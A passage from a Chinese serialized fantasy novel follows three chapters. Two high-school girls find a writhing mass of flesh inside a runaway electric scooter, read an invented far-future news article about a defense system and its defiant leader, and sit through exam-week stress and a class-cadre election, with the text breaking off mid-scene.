安宁钻进了饭店,这里就是德令哈的办事处,属于和平联合。几辆皮卡停在外面,饭店里有几个在这儿喝酒的当地人。几个文艺青年,有男有女,在吃面条,几瓶大窑竖在桌上,正好和人数相对应。每个人手底下压着精致的手帐本和精装锁线的诗集,一个头发很短的女生在弹吉他,音乐如同流水或花香涌动。她身边那个打了眉骨钉的女生用手撑着脸颊,轻轻哼着歌。
弹吉他的女生跟安宁打了个招呼。她可能看出安宁身上的泥土和沙砾与此地不符,问她要不要一件衣服。安宁轻快地说不用了,几个女生又问她是不是在拍vlog,来干什么的。安宁说:“我是做地质勘探的。”
“噢。”弹吉他的女生说,“我是学探矿的,但没继续学。很累吧?”
安宁想了想:“我很喜欢。”
“那很好!”女孩子们送了她一瓶大窑,安宁抱着玻璃瓶,咚咚咚上了二楼。
这里有更多奇形怪状的人,刘征兰和颜阎看到了很多长着动物耳朵和尾巴的人类,还有很多一模一样的智械。每个包间都是一间办公室,坏处是空间小,好处是随时可以下楼去拿刚片好的牛肉,淋上自己用黑豆和麸皮酿的酱油。
安宁在一个空包间坐下来,很不好意思地绞着手指:“嗯……就是……电动车和智神和鱼的事……”
刘征兰警觉:“鱼到底是……?”
马老师立刻糊弄:“哈哈哈哈这种事我们就让它过去吧不是很重要的。”
婚神和大蜘蛛趴在桌子边:“智神到了吗?”
安宁绕着头发:“到了。在做模型。它没有危险,我主要是想谈一谈电动车的事,毕竟也是我们的团员开动它的……”
马英妹摆手:“不怪你。智神自己没正形。”
“你们能否帮我拦截一下电子讯息……如果能尝试限制一下记忆就更好了……”安宁立刻摆手,“我不是提要求。如果你们不愿意帮我也是正常的,但是如果有条件,请……”
弓粟温柔地劝慰:“没关系……照片和视频我已经拦截了。记忆有点难,但是这里的学生Sep很严重的,对高考没有影响的事,他们明天就忘掉了。”
安宁和弓粟说话还是有点不自在。上次见面团员们对她态度很不好,这次却辗转来求助,总感觉有点微妙。还好弓粟性格柔顺,没有责怪任何人。
“还有一件事,我要跟你们说一声。”安宁道,“那辆电动车跑了。”
马英妹:“……什么?”
“就是……跑了……”
刘征兰似有所觉,跨过婚神和大蜘蛛的身体趴到窗边。一辆破旧电动车镇定自若地从藏青色的天空中落下,突突突地把自己停回了车棚。
电脑里的安宁还在解释:“就是自己开走了,我也不知道去了哪里。很奇妙,反正就是……”
“不用了。”马英妹语气沉重,“我们已经知道它去哪儿了。”
安宁一愣,然后笑了:“那就太棒了。非常感谢诸位的帮助,”
她扛起玻璃管,咚咚咚地往楼下走,没关掉远程传信功能。楼下的文艺青年们还没有走,吉他女见她下来,笑吟吟地招了招手,她手下的诗集翻到海子的“姐姐,今夜我在德令哈”。
安宁笑着跟她们打了招呼,然后钻进外面的皮卡,办事处的人将送她回到团员们身边。弓粟悄悄发过去一道系统提醒,安宁低头看了一眼,“啊”地叫了一声,很不好意思地把视频关掉了。
颜阎和刘征兰被马英妹拎着下楼,去查看那辆电动车。
车身是玫红色的,覆了一层厚厚的灰尘,即使在对流层里吹了半个晚上,灰尘和智神的脚印仍然很分明。戈壁的碎石和风沙进一步增加了它的磨损。
“怎么说呢……”颜阎吐槽无门,直挠头,“很适合高中车棚。”
“车棚就是会有几辆没人开的车在角落里堆着。”刘征兰抱着胳膊。
“不是……我是觉得这车好眼熟……”颜阎思索,“……这句话也好耳熟,上次我说什么东西眼熟是什么时候来着……?”
刘征兰猛地拍手:“呼叫中心。”
“啊!”颜阎叫,“确实!那个也给我一种眼熟的感觉!”
到底在哪里见过它们?
难道她们所有的奇遇,都是冥冥中有所预兆的吗?
颜阎心头一凉。
夜空忽然变得恐怖起来,每一颗星星都像是缓慢眨动的眼睛。
马英妹蹲下来,用办公室里传了三四代老师的工具箱拆电动车脚踏板。
脚踏板拆下来,带起一大片结块的灰土。马英妹用手机手电筒打光,往电池里面看,两个学生也凑过来看热闹。
脚踏板下本该是电池的地方,一块无骨肉,软塌塌,湿淋淋,黏糊糊,电动车的内脏般蠕动。无血,唯粉红软身。定睛看去,发觉不是团,而是头吞尾,饱胀的一条肉龙!
软肉中翻出脂肪般淡黄固体。刘征兰推开看呆的马英妹,摇车数下,将黄色固体露出。是数条硬物,均匀平铺,自肉中生出石般质感,灰黄如羊汤浮沫。各自支出肉中,像森森龙爪。
反手捏住颜阎手臂:“硬的,骨头。”
是软肉脱骨而下,骨头钙化,它们将彼此当作依靠,互相吞吃吸吮,成了这样的一瓢蠕蠕的粉肉。
马英妹心摇手颤,慌忙盖回脚踏板,扭头用凶狠眼神瞪向两名学生:“你们不许碰它,知道吗?交给大人处理。”
两名学生忙不迭点头:“死也不碰。”“谁碰这玩意儿,怪渗人的。”“颜阎不碰我不碰。”“刘征兰不碰那我也不碰!”
马英妹站起来,脚一软又坐回去。两人要上去扶她,她摆手,摇摇晃晃靠着柱子撑起来,弓粟提醒她吃药,现在心率有150。
“弓粟,知道刚才那是什么东西吗?”
弓粟没咬死:“可能是医学废料,可能是死婴,可能是灵肉的遗体,可能是变形怪,也可能是藤发人穿旧的衣服。”
“能杀了吗?”
“可以。最简单的方法是往里面倒几罐盐破坏渗透压。”
马英妹站直了。能被杀的东西都没什么可怕的,她让两个女生去收拾书包,今天她开车送她俩回家。两个人连连摇头:“算了吧老师,我们不害怕,而且我们家就在旁边。马上就月考了,您回去出卷子吧。”
马英妹叹了口气,在两个人头上摸了一把。刘征兰躲开了,颜阎被她蹭了一头灰:“行吧,好好睡一觉。害怕就给老师打电话。”
刘征兰说:“这个月真是您出卷?”
马英妹一哽,感动烟消云散,抬脚就要踹。两人左躲右闪,一溜烟从操场旁边的小冲进楼梯口。
她们都认出来了那东西的形状,白着脸对视了几秒。
颜阎言语迟疑:“那是我们第一次碰到怪事变小的时候,帮蚂蚁杀死的……”
刘征兰点头:“是。”
“怎么会在电动车里面?电动车是谁的?”
刘征兰脸色不善:“可能都是律易棋一开始就在找的,穿校服的女生。你记不记得,你看到电动车和呼叫中心时都感觉很眼熟。”
“我看卷子上的题和生词也眼熟。”
“……说的也是。”
两个人对视了一阵,刘征兰忽然问:“我们以后怎么办?”
颜阎转着十八妹晚自习还给她的钥匙圈:“能咋办,去莫妮卡整点冰红茶。”
“我是说毕业后。”刘征兰撑着扶手,“□□,看了安宁的视频,羡慕死了。我以后也想到处旅游,实在不行,对自己的工作乐在其中也行啊!”
“现在懂蘑菇头女士了吧?”
“完全懂了。”
“你以后想搞研究吧,普通的物理系你肯定能考上。”
“搞研究巨难,巨麻烦,特别穷,而且是个完全靠天才推进的学科,我这辈子应该也不会有什么成就了。”
“没事,到时候我们都指望着康烁影暴富,包养我们。到时候你安心搞物理,我安心写小说。”
“你说得对,全指望她了。到时候她肯定她开车带我们去海边环球迪士尼玩。”
颜阎大呼:“还真是她会干的事!她还会死命拉着我们拍合照。这就有点恐怖了!”
“都包养我们了,啥都行。希望她行程不要安排太紧,不要选在太晒的季节。最好放假能不出门,在空调屋里跟我们打游戏。”
“附议。我愿意让出手柄。”
“……算了咱俩别说了,一说我又胃痛。”
“你别胃痛了过两天我拿点药给你。”
两个人都知道这是梦话,比电动车里出现生肉,外星人降临地球,宇宙毁灭世界末日还要不可思议。她们不说一句,望着夜晚的天空,那里月亮朦胧,工业污染的废气若有若无地燎着她们的眼睛和鼻腔,松树与农村的平房勾勒出天与地的边缘。夜空浓黑如一无所有的虚无,白墙刺目如压倒一切的光明,而她们走在天与地交界的灰色水泥路上,因为知晓自己的惶然而痛苦,因为习惯忍受痛苦而平静。
她们都明白,自己的灵魂,说不定还在观赏身躯的苦痛,幸灾乐祸地在笑呢。
114.致一位恺撒
“首个全干扰防御系统的开启——普通人在战争中的嘶吼。”
(通历3094年7e原子秒,葛钛德新闻社佐斐那电)
防御系统“惶惑”成功开启的那一刻,蒂尔纳·纳纳贝·贝基和项目总负责人尽灯相拥而泣,这位来自蜜谷的奇点学院学生在生日这天,见证了寰宇间第一个全干扰防御系统的启动,它同时具备电子干扰和强引力轨道,可以阻挡绝大多数现代人造武器。伴随着欢呼与雀跃,“稗官”唐捐当场宣布:刻石人将保持永久中立,为所有苦于链式存续血战的人们提供一个安全的庇护所。
经过多次跳级,蒂尔纳·纳纳贝·贝基作为有史以来最年轻的新生入学奇点学院。这样一名前途无量的学生却受到命运的捉弄,奇点学院的湮灭使所有在校生的学历回到了标准知阶第三层。没有任何公司或组织会聘用它们,即使回到母地,也只能成为等级最低的士兵。苦读数年的学生难以接受自己努力无法获得任何回报,但它们也想不到,自己的不甘居然会为寰宇带来难以预料的深刻影响。
作为一个拥有自己防御系统和气象系统的人才培养基地,奇点学院向蜜谷、众管国、秦山联合和人类共同体,都输送了大量中坚力量。并且曾因“知识没有边界”为口号,拒绝玫卢公约关于停止录取人类学生的提议,同年也拒绝向人类共同体公开研究资料,成为了宇宙中公认的独立堡垒。
早在数十年前,关于实验性气体云的项目就曾受到众管国和蜜谷的联合风险预警,可奇点学院以科学研究的名义拒绝撤销该项目。该气体云的坍缩早有预料,可各方对本次危机的冷漠仍在学院的预料之外。
“由于奇点学院的崇高地位,我们避免干涉它在紧急避险和灾难预防方面的措施,相信它作为知识的殿堂,能够独立解决事件。”古纳辛说。他出身人类学校,是泰雷恩特的忠实拥护者。
事后不久,奇点学院出身的泰雷恩代表人类共同体,同意为师生提供避难所。同时为了阻止气体云弥散后形成中等黑洞,必须以奇点学院本体作为燃料,以一场爆炸替换黑洞的成形。这个果断决定在一定程度上拯救了奇点学院的师生。事后多个非人类财团的继承人因此而投靠人类共同体。除此之外,也有大量学生声称,人类共同体优先抢救资料和实验素材,而非师生宿舍。
这场令大量学生和教授失业的灾难促使它们放手一搏。“链状存续血战”的结束遥遥无期,相比之下,拥有防御系统且政策宽松的刻石人显然是一个值得押宝的对象,尽管它们的防御系统来自曾经的生态箱赌场。
随着刻石人发布校友保护制度和宽松的科研经费申请制度,这个由奇点学院毕业生建立的组织显然成为了心怀梦想的学者、奇点学院毕业生和渴望平静生活的普通人们最好的去处。类似蒂尔纳·纳纳贝·贝基的学生更是把刻石人当作实现自我价值的精神家园。
“当一个人把顶尖的研究者聚集到一起,并且经费接近于无限后,必然会产生划时代的发明。”收购了刻石人二十三项新专利的水手伴侣公司董事长芒奴姆·奥普斯这么评价刻石人的成功。
而万众瞩目的全干扰防御系统,只是在一个平平无奇的夜晚被提出,是当时众多天马行空的想法中不起眼的一员。尽灯称,当时几位同学在路边新建的人类速食店偶遇了唐捐,这位平易近人的领袖与众人共进晚餐,当晚交谈甚欢,“让子弹拐弯的保护膜”便是当时一个无心的玩笑,而这就是惶惑的雏形。在刻石人第一次被玫卢公约的对星武器威胁时,这个项目终于被提上日程,甚至成为了刻石人最重要的科研项目之一。
宇宙中大量爱好和平的人们对刻石人的坚定立场表达出正向情感。
人类共同体的三环军士鲁尼乘坐星舰白葡萄号,从诺斯特巨构来到发布会现场,作为人类共同体的代表参加本次发布会。“火成”祖兰替·佐斐那代表刻石人接待白葡萄号全体成员。
鲁尼此行带来泰雷恩特的语音问候。在语音中,泰雷恩特惋惜刻石人没有选择人类共同体的阵营,但仍对刻石人的选择表示尊重。一位不愿透露姓名的米普族提出疑问:他怎么知道我们尚未发布的政治立场还能提前录音?对此,鲁尼回应道:“准备了三套语音。”
玫卢公约再次严重警告刻石人。“已阅。”这是唐捐的回复。
发布会上,一位来自蜜谷的人类记者向唐捐提问:众所周知,卓卓坎在蜜谷大量为人类提供工作岗位。刻石人在刺杀他之前,是否考虑过蜜谷人类未来的处境。刻石人的“晶簇”竹子丝称,卓卓坎蓄意袭击佐斐那本土,刻石人此举是反击而非刺杀。
“请问刻石人杀死卓卓坎,是否考虑过蜜谷人类的处境?”记者再次发问,显然它代表了大部分蜜谷普通人类的愤怒。库尔卓·卓卓坎·徂坎生前是一名嗜赌如命的商人,第二重身份是擅长投机的政治家,虽然依附于蜜谷,但显然对自己的种族十分骄傲,在蜜谷大量开设人类学校,建造了数个含氧量百分之三十的人类活动区。刻石人的举动无疑让蜜谷的人类地位再次降低。
“晶簇”竹子丝再次发言,“稗官”唐捐掐断了话筒,走上发言台。“惶惑”项目负责人尽灯和纳纳贝尝试阻拦她,均以失败告终。“一个不可控制的人,坏处就是不服从所有安排,好处就是,她是一个超脱于一切规章制度,没有历史的背书和法律的支撑,不可镇压的领袖。”事后,竹子丝如此评价。
唐捐再次强调卓卓坎本人对爬行文明的歧视和压迫,在记者的再次追问下,这位年轻的领袖说:“我承认卓卓坎的死亡会带来大量牺牲。如果任何人有异议,可以在我做出和他相同的事情时杀了我!”
压力降临在竹子丝身上,这位人类共同体的前秘书长试图以外交辞令修饰稗官的言语,而唐捐坚持亲自发言。
“所有领袖都不得好死!其中当然包括我。领袖都在前进的同时毁灭,救人的同时杀人。但是为了一片有秩序的和平土地,我会牺牲我这个底层人的灵魂,和所有的领袖一样,死后在虚无流界惨死一万次。”
说完这些,她扔下话筒,和记者们干杯,继续庆祝“惶惑”的开启。
——本报记者日落磁带Lo-fi
“作为链式存续血战中经典的全面报道,该篇在一定程度上反应了人类和玫卢公约的战争中大多数人对于和平的渴望。在这场人类和迁氧的大型战争中,刻石人的出现无疑是对向往和平的人们最好的安慰……”
颜阎在她耳边打了个响指。
“往旁边稍稍。”她把书包扔到桌上,“给我留个位儿。”
刘征兰挪了下,给她让出空位。颜阎一屁股坐下,被这张长板凳硌到了屁股。
“看啥呢?”颜阎把脑壳凑过去。眼睛里还有历史月考的一丝余热。
虽然全部科目考完后只剩下两节课时间,失去这八十分钟显然将令全校高考失利、流落街头、解不开黎曼猜想,地球科技就此一落千丈。机智的校长提前预料到此事,所以下了死命令,让两个门卫看住校门,不许放过任何一名翘课侠。考完的学生们被塞到几个空教室里集体自习,每个教室还配备一名老师。
“历史书。”刘征兰瞄着讲台上对换位说话睁一只眼闭一只眼的老师,随手把封皮翻过来。破破烂烂还有点虫蛀的书皮上写着《剪贴报》,“从新闻角度分析时代特征,文化差异和□□势什么的。有好多小八卦,可好玩了。”
颜阎来劲了:“让我看看。”众所周知她对历史考试的专注完全源于她喜新(阅读材料)厌旧(教科书)的本质和批判一切的劣根性,简单来说就是对故事和文字解谜的喜爱,以及对一切王侯将相乃至宏观历史的鄙夷,这种书完美契合她的爱好。
她从刘征兰用手指做记号的这一页开始读,读了一阵笑了:“我天,好难得,是活着的新闻学。”想了想她又补了一句,“不对,新闻学一直半死不活的。八个翅膀肯德基,皮鞋腰带□□糖。天蛾人是假报道,尼斯湖水怪生意旺!”
“笑死。新闻学。乱世的枭雄,盛世的贼寇。”
颜阎看着书,再次对历史拙劣的细节露出幸灾乐祸的缺的笑容,“写报道就像当皇帝,做到最后,全凭良心!”
“当记者还能当皇帝,这么好?我也要去当。”刘征兰用手撑起右脸。
“啊不,记者不行,但是搞公众号和皇帝差不多了。想骂谁骂谁,会不会被架空或者封号就看你的龙椅稳不稳了。”颜阎看了一段,露出惊诧表情,“真有节目啊唐捐,喜欢了,要我我也跟她。”
刘征兰附议:“我也跟她。虽然leader之间没有本质上的区别,但我还是喜欢‘知道自己不是生来就是leader’的leader。”
“孔丘就不是这样的人。”
“周天子也不是。”
两人神秘一笑。
颜阎从口袋里掏出两只药盒丢给刘征兰,刘征兰把药板的铝箔纸上掰出一个洞,倒出小白片兑着咖啡咽了。前面听她俩讲了十几分钟相声的艺术家扭过头,死气沉沉地伸出手:“给我一口。”
“健胃消食片。”颜阎说,“不给,你知道这一片能含多久吗?”
“我说咖啡。”艺术家没理她,旋开自己的空保温杯放在刘征兰前面,“给口,困死了。”
保温杯盖子里倒入半盖无糖无奶特浓苦咖啡,艺术家捏着鼻子一口干了,然后拿着刘征兰的修正带转回去。刘征兰问她干什么,小喇叭替她回答:“给你修修,你修正带里面有点卡了。”
会修修正带的人才在哪里都很受欢迎,刘征兰默许了。
甘忘营搬着板凳蹭过来:“帮帮姐们儿,姐们儿也要。”见刘征兰扬起下巴示意她拿杯子,她重点澄清,“我要修修正带。昨天刚买的就坏了。”
艺术家拿过来看了看:“柯南联名?那你收藏就行,别用了。”
“东西就是拿来用的。”甘忘营随手拿起小喇叭的红笔,盖上笔盖,在手指尖飞快旋转。
刘征兰道:“再说我们这儿的晨光哪有正经联名。”
小喇叭:“你说得对。”
“不是。”颜阎疯狂对甘忘营指指点点,“怎么没人吐槽她!你们吐槽啊!”
甘忘营的黑色汗衫和反扣在脖子上的棒球帽就不说了,反正月考没有着装要求。主要问题在于,她一只鼻孔里堵着卷成筒的纸团,汗衫上也有数行蜿蜒的血迹。但所有人视若无睹,颜阎差点以为自己产生了幻觉。
甘忘营拉起自己胸前的衣服:“涂鸦。帅吧?”
“不是这个!”
她笑嘻嘻地指着自己堵鼻血的纸团:“这个?血战的证明。”
旁边的板凳一动,二班另外几个女生从甘忘营肩膀上长出来:“啊?老公你跟人干架了?”“老公老公照顾好自己这样我们会很心疼的。”“宝宝谁打了你我们帮你杀人埋尸。”
被一堆人压在下面的甘忘营又想笑又难受,抬起手把肩膀上那些毛茸茸脑袋全摸了一遍,瓮声瓮气道:“姐姐们让我喘口气,鼻血要出来了。”
女孩子从窒息里放过她,鬼鬼祟祟绕着颜阎和刘征兰的桌子坐了一圈。
甘忘营把堵鼻血的纸团用一个潇洒丢进教室最后面的垃圾桶里。没止住的温热鼻血就此决堤,她赶紧从裤兜里抽了一张纸重新堵上:“最近有点上火,政治差点没写完,急得。”
小喇叭听到政治就痛骂:“我*政治怎么会这么难,我真不理解了,这东西比历史还不实用,而且都叫政治了为什么还要加入一些哲学?这样下去它应该改名叫哲学与法治,我是没看出出题人有什么道德。”
“物理也很诡异。”颜阎趴在桌子上滚自己的脸,“为什么啊最后一道题不应该是导轨金属棒电磁感应吗?为什么会问我光栅?我没学会啊,听都听不懂!”
“但还是政治最难。”艺术家谨慎开口,“这次题特别多。”
二班的孟含靓挂在甘忘营肩上,用贴了爱心痘痘贴的右脸蹭来蹭去:“政治一打完铃,她嗖地站起来,鼻血直接滴到地上,吓得好几个人跑来跑去。她自己没看到,你猜她说什么?”
小喇叭摸着下巴:“我刚才放屁了?”
艺术家拽过她疯狂拍打。
刘征兰正经回答:“刚才传错答案了。”
女同学纷纷露出“还能这样”的表情,当场拿草稿纸写了份承诺书,让甘忘营下次传答案。
甘忘营把刚才转着的笔拿过来郑重签字,并且承诺下次有人考不好,她将当场赔偿房子一套。
颜阎闭目,尽力体会甘忘营当时的心绪。数个呼吸后,她豁然推开眼前作业,狠狠抬手:“王霸之气,开!”然后轻轻拍桌,没有惊扰老师。
“这个差不多。”孟含靓点头,“她当时捏着自己刘海,严肃
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地自言自语——”
甘忘营捏住刘海:“难道是我的帅气令他们闻风丧胆?”
“啊啊啊啊啊啊啊啊!”四班的几个女生咧嘴闭眼大呼恶俗。二班几个说你们不许说我们老公,要骂就骂我吧!这种称呼更是令刘征兰和颜阎交换了一个肉麻不已的表情。
艺术家问甘忘营:“你是不是肝不好,怎么这么容易流鼻血?”
二班女生告状:“对对对,她天天熬夜打王者荣耀。”
甘忘营为自己辩解:“高三了压力大!考数学的时候还晕了一个!”
“俩。”刘征兰淡淡道,“还有一个是我。”
甘忘营大惊:“咱俩就隔几个人,我怎么没看到你晕?”
“趴桌上胃痛,痛着痛着睡着了。”
“我说你怎么那么松弛。”
艺术家问:“另一个是谁?”
“不知道。听说是以前觉得自己只是没有认真学。高三前认真学了一个暑假,结果发现自己真不会,咣当晕了。”
“……这次是真的笑了。”
说着笑了,其实所有人都不再发笑。古怪的沉默凝结了一瞬,然后有人感慨:“高三了啊!”
“题好像也变难了。”“好累啊!”“毕业后去干什么?”“十个有八个去看海啦。”“补药啊我还没刺杀跑操让我们多跑四百米的校长。”
唯有一个人的叹息终结零散的絮语。
“青春,要结束了啊!”
说完这句话,教室最后排的大型集会终于引起老师的愤怒,所有人员被迫分散,依依惜别之际还有几个人互相送了脆脆鲨和水果糖。
但是大家都隐约明白。
要结束的绝不是“青春”这么清脆、温柔,像是节日彩带般纷纷扬扬落下的东西。
是名副其实的人生啊!
大家从出生开始,就杀头便冠、削足适履,向着唯一的目标,死不足惜地前进,前进。前进!前进到鲜血淋漓,前进到流干眼泪,前进到碾碎一切障碍,前进到死在车轮下!
现在离成功近在咫尺了,突然有人说,你的目标不重要,它只是一场考试而已,是你漫长人生中的小浪花。重要的是你前进的路,它在俗语里,用一个轻盈的词汇指代,“青春”,一般指的是美好的年纪。
这叫人如何不恨!如何不恨!
要结束的,不是像汁水充盈的蔬菜折断般清脆的东西。是手臂、是脚踝,是头颅,是血肉模糊的断面,是森森白骨,是开膛破肚后眼泪混血的一捧内脏。
甘忘营突兀的流血和刘征兰的胃痛就是证明。脏器比大脑聪明,血管比皮肤敏锐,它们在身体里瑟瑟发抖:要来了,要来了。我们要“死”了!
这些话,是难以对别人道出的。长大后的人们会“进化”,变成另一个物种,回望过去就像看电影。电影里的故事再也不会发生在观众身上了,随便怎么看,随便怎么解读,就算冠以和当时完全相反的影评,也不会有当时的自己找上门来。这就是为什么,孩子们的痛苦被称为“可爱的烦恼”。
唯有对同龄人,大家才有心照不宣的默契,这是鲜血淋漓的共识,这是代代相传的密语。
所以才会有人晕倒,所以才会有人焦虑。高三的第一次月考,所有人都感受到“结局”的逼近,在停笔的铃声打响的那一刻,所有人都在想:我以后要怎么办?
颜阎和刘征兰对视一眼,安宁快乐的笑容再次温柔地刺痛了她们。
我们以后怎么办?
黑暗中闪动刺目的光。
刘征兰说:“不好意思,破坏一下氛围。是我手机。”
颜阎大惊:“你还带手机?”
“考试又不能玩。”刘征兰按亮屏幕,律易棋的消息后面赫然带着三个感叹号。
律易棋:“你们学校又出事了!!!”
刘征兰打字:“很急吗?”
律易棋:“很重要但不是很急。”
[微.信红包]恭喜发财,大吉大利:“那你先等一会儿,老师看我了。等我们放学再说。”
律易棋:……ok。
颜阎凑过来:“为什么不回他?咱们一会儿也没事吧。”
刘征兰诧异地看了她一眼,随即露出缺德笑容:“不好意思,我作为挂件,和包是共享信息的。”
颜阎了然:“……我又错过了什么?”
“今天选优秀班干部。”
怪不得所有人都要被押回来继续上学。
颜阎想起这东西高一也选过一回,因为四班男多女少,班长以压倒性优势当选,商博良败下阵来。
刘征兰看她的表情就知道她在想什么:“不一样。这次是省级还是市级来着,总之比以前的高一级,只有高三的才能选。”
“那怎么不选三好学生?”颜阎发问。
刘征兰九十度转头,露出神秘笑容。
“因为三好学生是我。”
“啊?”
“因为三好学生是我。”
颜阎伸脖子瞪眼,变成大虾:“不是朋友?”
鉴于刘征兰睥睨天下的成绩,三好学生没有经历任何选举,直接内定为她。颜阎听闻后十分无语,感觉这消息特别没有营养。
“那优秀班干部为什么在这儿选?不能回自己班?”
一个纸团从前桌降落到颜阎面前,打开后上面是小喇叭的笔迹,还贴着艺术家的比格犬贴纸:“因为默认只有重点班有资格参赛,为了防止两边老师吵架,干脆放到一起让学生选了。”
颜阎把“选”这个词看了又看,甘忘营的彩色水果糖也堵不住她的惊叹:“妈呀……民主选举……你说选举我都想笑。”
刘征兰在课桌下打开数读玩:“至少不用上课,”
“选完就放学?”
“不是。选一节课上一节课。”
“……非占这四十分钟?”
“你去找校长抗议。”
“你去我就去。”
“我不去。”
“那我也不去。”
两人乐了一会儿,颜阎忽然问:“唉,那甘忘营为什么不参战,她不是男生女生都玩得开吗?”
“不知道,我觉得她应该参选吧。”
“那她现在这个衣服怎么参选?”
刘征兰停了一会儿,然后说:“……你问得好。”
115.头颅里的笑声
“哦,宋悦馨!把归票结果拿过去吧。”五班的班主任拉住她,“顺便帮我跟我们班金老师说一声,最后一节课是他的。”
宋悦馨说了声好,把草率撕下来的草稿纸递给十八妹。
十八妹把那张归票结果拿过来夹在蓝色文件板里。每个人的名字下面都有笔迹,有些人只有几个比划,有些人已经构成数个正字。她的名字下只有两笔,看起来像一个“T”。
两个刚考完政治的人从五班离开,又被三班班主任拦住:“正好,把我们班的结果也拿去。拿完顺便把我和陶老师的包拿过来,包就在桌上,桌上没有你就去问问小周。要是陶老师的包已经不在了就说明她已经回家了,你跟方老师说一声,让她明天告诉陶老师U盘放在她柜子里,周日上课直接插希沃白板就好。”
宋悦馨说:“好的王老师,要我们顺便把你的花浇一下吗?”
“不用,明天我自己浇。哦对了,旁边这个四班的小姑娘,上次批作业批得很好嘛!”王老师拍拍十八妹的脑瓜,“真能干,好孩子!”
十八妹心里很高兴,表面上只平淡一笑:“谢谢老师。”
一班的班主任恭候已久。他直接伸手把蓝色文件夹抽出来,亲自将归票结果塞进去,头也不抬地嘱咐宋悦馨:“马上要开运动会,都积极一点哈,各个班的口号啊队型啊报名项目啊赶紧交上来。你们班周老师的教案赶紧交,上面在问了。还有让我们班的课代表看一眼作业交齐没有。”
宋悦馨说好。班主任把文件夹递给她,她笑吟吟地拿过来,然后重新还给十八妹。
办公室门口,又碰到马老师。这位生物老师老得早,黑发里杂着几缕银,兜里揣着个永远开机的手机,手机壳是电脑蓝屏的显示语。她看到两个人照例塞零食,素虾仁一人一包,然后不急不慢开口:“忙?”
十八妹答应得过年一般响亮:“不忙!”
宋悦馨柔情似水:“帮普通班的班主任做优秀班干部的归票呢。您有什么事呀?”
“搬卷子,月考卷子有点多。”
十八妹说:“一会儿就来。”
马英妹乐了,伸手把十八妹的脸捧起来揉了两下:“这么有积极性?以后雷厉风行风行的Office Lady就是你了!”
十八妹仰着脸,露出小小的笑容,有点雀跃地抱着文件夹,和宋悦馨一起走进北办公室。
张燕之在这里点运动会的报名表,偶尔抬起头和周天子说说笑笑,看到她们两个进来,抬手打了个招呼:“欢迎。啥事儿?”
十八妹把文件夹递到桌上:“普通班的归票。”
“什么的归票?”
“优秀班干部的。”
“哦哦。”周天子把归票结果拿来翻了翻,发现自己班的学生票数很多。得意立刻攀上她的眉梢。
宋悦馨把脚跟并在一起,双手在身后交握:“周老师,唐老师跟金老师说下一节课让她去上。屈老师让我问问陶老师还在不在学校,要是在我就把她的包拿去,不在就让我找方老师提醒陶老师,U盘在陶老师的柜子里,周日上课直接用。一班的秦老师说让各个班快点定好口号,还说您的教案要交了。顺便问一下,一班的董西延在哪个教室,秦老师让我找他催作业。”
几个收拾东西准备下班的老师一开始还只是在讨论运动会的事,随着宋悦馨流利的报告,她们的眼睛渐渐瞪圆。当她说了第五个老师,有个老师盖上了笔盖,说到一半,有人开始骂自己的课代表,说完一大段话,所有老师纷纷站到周天子身后,扶着她的办公椅:“小周你学生真不错啊!”
周天子面色红润,比吃了一箱补品还要健康。前段时间因为带手机来学校而形象尽毁的宋悦馨又重新变得可爱起来。
“这么多事你们自己去办吧!我以前的学生都是很省心的,给一个任务,马上就能调动同学一起完成,又快又好!”周天子挥挥手,但是她又觉得不能什么都不表示,显得自己没有认真听,于是指着十八妹,“你去跟金姐说调课的事。”
张燕之拿周天子的手机给归票结果挨个拍了照片,原件塞进笔记本里。宋悦馨和十八妹跟着她,马老师看见Office Lady出来了,忍不住调侃:“大忙人啊?”
她听到周天子的话,没有为难她,自己抱着卷子走了。
张燕之看了看十八妹,偏头跟宋悦馨道:“你去找金扫帚姐,让她回去吧。周天子成天使唤别的班的人干活,四班人抱怨两年了。”
宋悦馨不乐意:“老师都发话了。”
“哎呀,多干活不是显得上司重视吗!”
宋悦馨撒娇:“燕——儿——”
张燕之挑起单眉。
两个人互相看了几秒,宋悦馨终于“哦”了一声:“好吧……”
“小宋女士一向是最善良的!”
宋悦馨撇着嘴走了,脚上的皮鞋哒哒哒的脆响像雨滴。张燕之笑嘻嘻拉起十八妹:“走走走,去看民主选举!”
民主选举的小教室人口稠密。两个重点班挤进一个教室,即使这里是用两个教室合并出来的日语教室,也避免不了腿挤腿肩碰肩的厄运,有几个学生已经一本正经地坐起了大腿,没有座位只能站着的倒霉蛋子们在后面又搂又贴。
一群十七八岁少年们挤在一个逼仄小空间里,把教室烘得像火炉,时不时有人仰起脖子喘气,结果吸入太多别人肺里的新鲜二氧化碳,只能痛苦倒回氧气稀薄的地面。
康烁影考完最后一门回来,已经把刘征兰征用走了。颜阎很不体面且没素质地死死趴在长凳上,只为了不让自己和热腾腾的男同学坐同桌。所以当她看见郁霖雨走进教室时,立刻留下了感动的眼泪:“小郁女士快来,我们一起坐!等你好久了!”
郁霖雨指着自己:“啊?”
“对对对就是你!我异父异母的亲姐妹!”
郁霖雨担忧地看了一眼门口,颜阎说要是十八妹吃醋了,你就说我太烦了你不得不坐,到时候我去哭着承认不该破坏你们的感情。
她说到这儿,张燕之和十八妹正好一前一后走进来,隔着很远给十八妹打手势,说很抱歉没能抢到座位。十八妹表示理解,抱着蓝色文件夹站在暖气旁边,这里可以稍微倚靠,不会那么累。
“就这……这还竞选演说?”颜阎扯着胸前衣服扇风,“遗言吧?”
郁霖雨深以为然地点头。
周天子和孔丘站在教室的空气流通处——前后两扇门的门框上,向萎靡的学生喊话:“安静啊!安静!早点搞完早点解放,再吵就一直呆着!”
张燕之把几个优秀班干部候选人拉过来,互相搭着肩膀嘀嘀咕咕一阵,然后所有人去问:“能不能回自己教室选?”
周天子和孔丘也没有办法。这其实是年级主任的没事找事,他觉得回各自教室肯定只选自己班的人,选举要公平公正,扩大范围,不能局限于自己班,必须实事求是。这个举动没有任何的深意和考量,单纯是他心情不好,想要折磨别人,灵机一动想出的刑罚。其中充满了天真、任性、不合理与想一出是一出,这种行为被称之为“权力”,用生活化一点的语气说就是:“大爷的,神经病!”
但周天子依然表现出了合理化一切的超能力和强烈的主人翁意识:“回你座位去!”
张燕之莫名其妙挨骂,只能无奈地举手投降:“我就问问。”
说实话,民主选举没有任何看点可言。有人都打印了差不多的文案,毫无感情地让词语在舌尖上湍急流淌。在孔丘“来点激情”、“要有感染力”、“唉现在的年轻人”之类的感慨中,平均五分钟一换的演讲者来去匆匆。
